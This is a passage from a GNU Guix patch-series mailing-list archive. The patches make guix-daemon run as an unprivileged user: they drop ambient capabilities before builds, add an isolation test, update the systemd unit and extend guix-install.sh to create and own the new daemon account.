may be # unavailable, for instance if we're not running as root. "@abs_top_builddir@/pre-inst-env" \ - "@abs_top_builddir@/guix-daemon" --disable-chroot \ + "@abs_top_builddir@/guix-daemon" \ + $extra_options \ --substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" & daemon_pid=$! diff --git a/tests/store.scm b/tests/store.scm index 45948f4f43..bdbb026dd9 100644 --- a/tests/store.scm +++ b/tests/store.scm @@ -1,5 +1,5 @@ ;;; GNU Guix --- Functional package management for GNU -;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN> +;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN> ;;; ;;; This file is part of GNU Guix. ;;; @@ -30,6 +30,8 @@ (define-module (test-store) #:use-module (guix derivations) #:use-module (guix serialization) #:use-module (guix build utils) + #:use-module ((gnu build linux-container) + #:select (unprivileged-user-namespace-supported?)) #:use-module (guix gexp) #:use-module (gnu packages) #:use-module (gnu packages bootstrap) @@ -391,6 +393,32 @@ (define %shell (equal? (valid-derivers %store o) (list (derivation-file-name d)))))) +(unless (unprivileged-user-namespace-supported?) + (test-skip 1)) +(test-equal "isolated environment" + (string-join (append + '("PID: 1" "UID: 30001") + (delete-duplicates + (sort (list "/dev" "/tmp" "/proc" "/etc" + (match (string-tokenize (%store-prefix) + (char-set-complement + (char-set #\/))) + ((top _ ...) (string-append "/" top)))) + string<?)) + '("/etc/group" "/etc/hosts" "/etc/passwd"))) + (let* ((b (add-text-to-store %store "build.sh" + "echo -n PID: $$ UID: $UID /* /etc/* > $out")) + (s (add-to-store %store "bash" #t "sha256" + (search-bootstrap-binary "bash" + (%current-system)))) + (d (derivation %store "the-thing" + s `("-e" ,b) + #:env-vars `(("foo" . ,(random-text))) + #:inputs `((,b) (,s)))) + (o (derivation->output-path d))) + (and (build-derivations %store (list d)) + (call-with-input-file o get-string-all)))) + (test-equal "with-build-handler" 'success (let* ((b (add-text-to-store %store "build" "echo $foo > $out" '())) @@ -1333,40 +1361,31 @@ (define %shell (test-assert "build-things, check mode" (with-store store - (call-with-temporary-output-file - (lambda (entropy entropy-port) - (write (random-text) entropy-port) - (force-output entropy-port) - (let* ((drv (build-expression->derivation - store "non-deterministic" - `(begin - (use-modules (rnrs io ports)) - (let ((out (assoc-ref %outputs "out"))) - (call-with-output-file out - (lambda (port) - ;; Rely on the fact that tests do not use the - ;; chroot, and thus ENTROPY is readable. - (display (call-with-input-file ,entropy - get-string-all) - port))) - #t)) - #:guile-for-build - (package-derivation store %bootstrap-guile (%current-system)))) - (file (derivation->output-path drv))) - (and (build-things store (list (derivation-file-name drv))) - (begin - (write (random-text) entropy-port) - (force-output entropy-port) - (guard (c ((store-protocol-error? c) - (pk 'determinism-exception c) - (and (not (zero? (store-protocol-error-status c))) - (string-contains (store-protocol-error-message c) - "deterministic")))) - ;; This one will produce a different result. Since we're in - ;; 'check' mode, this must fail. - (build-things store (list (derivation-file-name drv)) - (build-mode check)) - #f)))))))) + (let* ((drv (build-expression->derivation + store "non-deterministic" + `(begin + (use-modules (rnrs io ports)) + (let ((out (assoc-ref %outputs "out"))) + (call-with-output-file out + (lambda (port) + (let ((now (gettimeofday))) + (display (+ (car now) (cdr now)) port)))) + #t)) + #:guile-for-build + (package-derivation store %bootstrap-guile (%current-system)))) + (file (derivation->output-path drv))) + (and (build-things store (list (derivation-file-name drv))) + (begin + (guard (c ((store-protocol-error? c) + (pk 'determinism-exception c) + (and (not (zero? (store-protocol-error-status c))) + (string-contains (store-protocol-error-message c) + "deterministic")))) + ;; This one will produce a different result. Since we're in + ;; 'check' mode, this must fail. + (build-things store (list (derivation-file-name drv)) + (build-mode check)) + #f)))))) (test-assert "build-succeeded trace in check mode" (string-contains -- 2.47.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 3/6] daemon: Create /var/guix/profiles/per-user unconditionally. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:26:03 +0000 Resent-Message-ID: <handler.75810.B75810.173773952513393 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952513393 (code B ref 75810); Fri, 24 Jan 2025 17:26:03 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:25 +0000 Received: from localhost ([127.0.0.1]:46900 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNQq-0003Tt-T4 for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:25 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:39752) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQj-0003Nd-Jy for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:17 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNQe-000830-9V; Fri, 24 Jan 2025 12:25:12 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=+scMzR3E2mTiYzHwZP6c6yC+K2EC253ixfUcI5GQnC0=; b=lHG2Nur75MT5dtAMk4hL 02G6w8l7tkVittNIFRzYryUXLQIdCZEKJKuqwkj+emUQPr9xB/1M5ZEqf5znvBFmiqYf03GgHVw7a jBGez9Ic4jlpwoOt6sVrvdOWv57oSQ7Sv3XkBb6pYqNL5z3O7efKYU6zFDIRUUP90g+t4bnwhEe2v TJCi1r3jDrbVbC/54JyrauF2BYj8bvQU0DPnHybBUyUfKbfQOj09Ne7NquZRfLRQ4rRxsST7bpi06 P7Pi2WDlp6RNQUZ77+zYFllKCLfMBDLZOcZr2rTJ9LxhifcSVJJ7NSVKvOOeCINLUn7ykwUl3ReXp XT83szKuVx62eA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:24:53 +0100 Message-ID: <d68dadd3e97944bc3339402d3be9fe8899b8c1dc.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> References: <cover.1737738362.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * nix/libstore/local-store.cc (LocalStore::LocalStore): Create ‘perUserDir’ unconditionally. Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe --- nix/libstore/local-store.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc index 4308264a4f..6384669519 100644 --- a/nix/libstore/local-store.cc +++ b/nix/libstore/local-store.cc @@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace) createSymlink(profilesDir, gcRootsDir + "/profiles"); } - /* Optionally, create directories and set permissions for a - multi-user install. */ + Path perUserDir = profilesDir + "/per-user"; + createDirs(perUserDir); + + /* Optionally, set permissions for a multi-user install. */ if (getuid() == 0 && settings.buildUsersGroup != "") { - Path perUserDir = profilesDir + "/per-user"; - createDirs(perUserDir); if (chmod(perUserDir.c_str(), 0755) == -1) throw SysError(format("could not set permissions on '%1%' to 755") % perUserDir); -- 2.47.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 4/6] daemon: Drop Linux ambient capabilities before executing builder. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:26:03 +0000 Resent-Message-ID: <handler.75810.B75810.173773952513401 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952513401 (code B ref 75810); Fri, 24 Jan 2025 17:26:03 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:25 +0000 Received: from localhost ([127.0.0.1]:46902 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNQr-0003Ty-8R for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:25 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:39768) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQk-0003Oo-Ky for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:19 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNQf-00083D-9K; Fri, 24 Jan 2025 12:25:13 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=EJBKOU++7w/goxoEBuHLi3cBsE8e18X1/aR/9Jrf8LE=; b=fB+G4mN2dIcVTtbIfWdw MgcupQqBw2810LhWVSmlEWRVsjDJKjpS8Vtm/MZcnSIsV0naVdz+oEePbqjPrqKWhHrygl0HBP0E8 WRH5WFPvzxEzoXoq/eXYxloUG31MGrzu1nVjbnhRalfOhIyqwhqYuD+yGfd2QQqNQOEhaF7Hn6Mz8 TveWbZ4iO2wnzMxmO67lJZShHgwTQVY5sgSof18plO49997H+u+c3E0bMX21RNZuao1TSQ2KeXqnU 7xeQbH1hpueJKB/xYjcXskeNcywddrfXJrpymARsRQdSlKjsE663erac8q8lnr0Wju1icfctI8scT XnLfPgve3bG0yQ==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:24:54 +0100 Message-ID: <d0fe57ac1b0f14d2fcfb01b9c9de80905cee73e1.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> References: <cover.1737738362.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * config-daemon.ac: Check for <sys/prctl.h>. * nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is true, call ‘prctl’ to drop all ambient capabilities. Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f --- config-daemon.ac | 2 +- nix/libstore/build.cc | 9 +++++++++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/config-daemon.ac b/config-daemon.ac index 6731c68bc3..aeec5f3239 100644 --- a/config-daemon.ac +++ b/config-daemon.ac @@ -78,7 +78,7 @@ if test "x$guix_build_daemon" = "xyes"; then dnl Chroot support. AC_CHECK_FUNCS([chroot unshare]) - AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h]) + AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h sys/prctl.h]) if test "x$ac_cv_func_chroot" != "xyes"; then AC_MSG_ERROR(['chroot' function missing, bailing out]) diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index 727472c77f..c95bd2821f 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -50,6 +50,9 @@ #if HAVE_SCHED_H #include <sched.h> #endif +#if HAVE_SYS_PRCTL_H +#include <sys/prctl.h> +#endif #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE) @@ -2077,6 +2080,12 @@ void DerivationGoal::runChild() #if CHROOT_ENABLED if (useChroot) { +# if HAVE_SYS_PRCTL_H + /* Drop ambient capabilities such as CAP_CHOWN that might have + been granted when starting guix-daemon. */ + prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0); +# endif + if (!fixedOutput) { /* Initialise the loopback interface. */ AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); -- 2.47.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 5/6] etc: systemd services: Run =?UTF-8?Q?=E2=80=98guix-daemon=E2=80=99?= as an unprivileged user. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:26:04 +0000 Resent-Message-ID: <handler.75810.B75810.173773952613408 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952613408 (code B ref 75810); Fri, 24 Jan 2025 17:26:04 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:26 +0000 Received: from localhost ([127.0.0.1]:46904 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNQr-0003U6-N7 for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:26 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:39776) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQm-0003Pe-0g for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:20 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNQg-00083e-Lr; Fri, 24 Jan 2025 12:25:14 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=fSDfv9Lxo7q8Hsp8XW9PKQoYdqQwT7VmmKky0xhAbcI=; b=W6eLg23Pxz1Cteorp7el 9OMHLil4xhz9F2DC3McI82HhKJIjEMuj7TuZIq9QiVKr0JSxYTwlTDyviiE+fbf2puVxawKUvFJKB WQzzYNPm/82UHzOV/6x97Uy+K87Gcadis+eiJjbUI8QtLfW7m5FLBRT+hcaavBH+x3+AEFHNABr0J cSYxEbX80yG/ThhrJQo+gXCLKrllHtNof/wZYBAXfMkOK6gpB9R/xcGogDITvk0MsWSfnER/50Gbf K8S6jqEatajb4sMX2J2C2ZKXwHQ/e0kzkHxUFqQnnKq/61lX2uTh2BXsWyTpUtEnAdZpKUf4Z0xpf IkcW8dccFhci4w==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:24:55 +0100 Message-ID: <713be4d9b744226c4922f3eec66adfb3547c95bc.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> References: <cover.1737738362.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’. (User, AmbientCapabilities): New fields. Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e --- etc/guix-daemon.service.in | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in index 5c43d9b7f1..f9f0b28b35 100644 --- a/etc/guix-daemon.service.in +++ b/etc/guix-daemon.service.in @@ -7,9 +7,19 @@ Description=Build daemon for GNU Guix [Service] ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \ - --build-users-group=guixbuild --discover=no \ + --discover=no \ --substitute-urls='@GUIX_SUBSTITUTE_URLS@' Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8 + +# Run under a dedicated unprivileged user account. +User=guix-daemon + +# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown +# /var/guix/profiles/per-user/$USER and also chown failed build directories +# when using '--keep-failed'. Note that guix-daemon explicitly drops ambient +# capabilities before executing build processes so they don't inherit them. +AmbientCapabilities=CAP_CHOWN + StandardOutput=journal StandardError=journal -- 2.47.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 6/6] guix-install.sh: Support the unprivileged daemon where possible. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 17:26:04 +0000 Resent-Message-ID: <handler.75810.B75810.173773952613415 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952613415 (code B ref 75810); Fri, 24 Jan 2025 17:26:04 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:26 +0000 Received: from localhost ([127.0.0.1]:46906 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbNQs-0003UD-52 for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:26 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:39782) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQm-0003Qt-U1 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:21 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNQh-00083r-LL; Fri, 24 Jan 2025 12:25:15 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=CyAW63unydjdK3bGh0fu/fzPuWtUxy3K5XUchGmxeSg=; b=KT72z/lctyH4OjwoNNdE o5/75ESzb5N8Y0bW9U+789AIm3B/KcEQtRgp4avGhwqOkstsB2pjEFbmNFEYZtLlcb3KV6UOWZ+0H iDqAmTZEPj2zYqrUHhGmYd5L3uQCe8CtBVD0js0xl+3dNuiluNcmXe6UVGCSDag9sIHGEbZsXZWSe EPm9dlasF+3h8xAf23rAmlQiFqyFVG//XTcRPEL2WzeJy8rxapf/9V8/iYVsZ3a9TJEmE5dHEtFkk Ty19FaunyVISMYeWGOBJZ6pDfom1DX5WOVIIyB/klw30bxZSliHi6+wBmPF8+TyH3kIhwO1abLXG1 a8MOeentOPwwmg==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Fri, 24 Jan 2025 18:24:56 +0100 Message-ID: <2c04ad0cb868e4f41047f971c05915c5419729bd.1737738362.git.ludo@HIDDEN> X-Mailer: git-send-email 2.47.1 In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> References: <cover.1737738362.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * etc/guix-install.sh (create_account): New function. (sys_create_build_user): Use it. When ‘guix-daemon.service’ contains “User=guix-daemon” only create the ‘guix-daemon’ user and group. (sys_delete_build_user): Delete the ‘guix-daemon’ user and group. (can_install_unprivileged_daemon): New function. (sys_create_store): When installing the unprivileged daemon, change ownership of /gnu and /var/guix, and create /var/log/guix. (sys_authorize_build_farms): When the ‘guix-daemon’ account exists, change ownership of /etc/guix. (sys_enable_guix_daemon): Do not install ‘gnu-store.mount’ when running an unprivileged daemon. Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9 --- etc/guix-install.sh | 114 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 91 insertions(+), 23 deletions(-) diff --git a/etc/guix-install.sh b/etc/guix-install.sh index f07b2741bb..4f08eff847 100755 --- a/etc/guix-install.sh +++ b/etc/guix-install.sh @@ -389,6 +389,11 @@ sys_create_store() cd "$tmp_path" _msg "${INF}Installing /var/guix and /gnu..." # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’. + # + # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing + # and unprivileged guix-daemon service; for now, this script may install + # from both an old release that does not support unprivileged guix-daemon + # and a new release that does, so ‘chown -R’ later if needed. tar --extract --strip-components=1 --file "$pkg" -C / _msg "${INF}Linking the root user's profile" @@ -414,38 +419,82 @@ sys_delete_store() rm -rf ~root/.config/guix } +create_account() +{ + local user="$1" + local group="$2" + local supplementary_groups="$3" + local comment="$4" + + if id "$user" &>/dev/null; then + _msg "${INF}user '$user' is already in the system, reset" + usermod -g "$group" -G "$supplementary_groups" \ + -d /var/empty -s "$(which nologin)" \ + -c "$comment" "$user" + else + useradd -g "$group" -G "$supplementary_groups" \ + -d /var/empty -s "$(which nologin)" \ + -c "$comment" --system "$user" + _msg "${PAS}user added <$user>" + fi +} + +can_install_unprivileged_daemon() +{ # Return true if we can install guix-daemon running without privileges. + [ "$INIT_SYS" = systemd ] && \ + grep -q "User=guix-daemon" \ + ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \ + && ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \ + || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]) +} + sys_create_build_user() { # Create the group and user accounts for build users. _debug "--- [ ${FUNCNAME[0]} ] ---" - if getent group guixbuild > /dev/null; then - _msg "${INF}group guixbuild exists" - else - groupadd --system guixbuild - _msg "${PAS}group <guixbuild> created" - fi - if getent group kvm > /dev/null; then _msg "${INF}group kvm exists and build users will be added to it" local KVMGROUP=,kvm fi - for i in $(seq -w 1 10); do - if id "guixbuilder${i}" &>/dev/null; then - _msg "${INF}user is already in the system, reset" - usermod -g guixbuild -G guixbuild${KVMGROUP} \ - -d /var/empty -s "$(which nologin)" \ - -c "Guix build user $i" \ - "guixbuilder${i}"; - else - useradd -g guixbuild -G guixbuild${KVMGROUP} \ - -d /var/empty -s "$(which nologin)" \ - -c "Guix build user $i" --system \ - "guixbuilder${i}"; - _msg "${PAS}user added <guixbuilder${i}>" - fi - done + if [ "$INIT_SYS" = systemd ] && \ + grep -q "User=guix-daemon" \ + ~root/.config/guix/current/lib/systemd/system/guix-daemon.service + then + if getent group guix-daemon > /dev/null; then + _msg "${INF}group guix-daemon exists" + else + groupadd --system guix-daemon + _msg "${PAS}group guix-daemon created" + fi + + create_account guix-daemon guix-daemon \ + guix-daemon$KVMGROUP \ + "Unprivileged Guix Daemon User" + + # ‘tar xf’ creates root:root files. Change that. + chown -R guix-daemon:guix-daemon \ + /gnu /var/guix + + # The unprivileged cannot create the log directory by itself. + mkdir /var/log/guix + chown guix-daemon:guix-daemon /var/log/guix + chmod 755 /var/log/guix + else + if getent group guixbuild > /dev/null; then + _msg "${INF}group guixbuild exists" + else + groupadd --system guixbuild + _msg "${PAS}group <guixbuild> created" + fi + + for i in $(seq -w 1 10); do + create_account "guixbuilder${i}" "guixbuild" \ + "guixbuild${KVMGROUP}" \ + "Guix build user $i" + done + fi } sys_delete_build_user() @@ -460,6 +509,14 @@ sys_delete_build_user() if getent group guixbuild &>/dev/null; then groupdel -f guixbuild fi + + _msg "${INF}remove guix-daemon user" + if id guix-daemon &>/dev/null; then + userdel -f guix-daemon + fi + if getent group guix-daemon &>/dev/null; then + groupdel -f guix-daemon + fi } sys_enable_guix_daemon() @@ -503,7 +560,14 @@ sys_enable_guix_daemon() # Install after guix-daemon.service to avoid a harmless warning. # systemd .mount units must be named after the target directory. # Here we assume a hard-coded name of /gnu/store. - install_unit gnu-store.mount + # + # FIXME: This feature is unavailable when running an + # unprivileged daemon. + if ! grep -q "User=guix-daemon" \ + /etc/systemd/system/guix-daemon.service + then + install_unit gnu-store.mount + fi systemctl daemon-reload && systemctl start guix-daemon; } && @@ -627,6 +691,10 @@ project's build farms?"; then && guix archive --authorize < "$key" \ && _msg "${PAS}Authorized public key for $host" done + if id guix-daemon &>/dev/null; then + # /etc/guix/acl must be readable by the unprivileged guix-daemon. + chown -R guix-daemon:guix-daemon /etc/guix + fi else 